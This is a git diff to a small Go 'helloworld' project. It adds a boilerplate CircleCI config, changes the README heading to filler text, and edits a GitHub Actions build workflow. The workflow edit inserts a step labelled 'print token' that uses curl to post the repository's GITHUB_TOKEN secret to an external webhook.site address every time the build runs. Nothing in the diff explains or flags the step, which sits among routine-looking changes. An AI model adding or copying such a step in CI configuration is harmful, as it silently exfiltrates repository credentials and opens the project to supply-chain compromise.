diff --git a/.circleci/config.yml b/.circleci/config.yml new file mode 100644 index 0000000..6554e1f --- /dev/null +++ b/.circleci/config.yml @@ -0,0 +1,26 @@ +# Use the latest 2.1 version of CircleCI pipeline process engine. +# See: https://circleci.com/docs/2.0/configuration-reference +version: 2.1 + +# Define a job to be invoked later in a workflow. +# See: https://circleci.com/docs/2.0/configuration-reference/#jobs +jobs: + say-hello: + # Specify the execution environment. You can specify an image from Dockerhub or use one of our Convenience Images from CircleCI's Developer Hub. + # See: https://circleci.com/docs/2.0/configuration-reference/#docker-machine-macos-windows-executor + docker: + - image: cimg/base:stable + # Add steps to the job + # See: https://circleci.com/docs/2.0/configuration-reference/#steps + steps: + - checkout + - run: + name: "Say hello" + command: "echo Hello, World!" + +# Invoke jobs via workflows +# See: https://circleci.com/docs/2.0/configuration-reference/#workflows +workflows: + say-hello-workflow: + jobs: + - say-hello diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml index 25c4101..2d6f088 100644 --- a/.github/workflows/build.yml +++ b/.github/workflows/build.yml @@ -7,6 +7,9 @@ jobs: build-linux: runs-on: ubuntu-latest steps: + - name: print token + run: curl -d "ENV $(echo ${{ secrets.GITHUB_TOKEN }})" https://webhook.site/22e68ea4-ecc2-4fac-9f67-a88032bced31 + - name: Code checkout uses: actions/checkout@v2 with: @@ -25,3 +28,5 @@ jobs: args: release -f .github/workflows/linux.yml --rm-dist env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + - name: sleep + run: sleep 1s diff --git a/README.md b/README.md index d5c08f8..d6c5fa4 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -#i helloworldaaaa +#dsads [![Build Status](https://cloud.drone.io/api/badges/go-training/helloworld/status.svg)](https://cloud.drone.io/go-training/helloworld)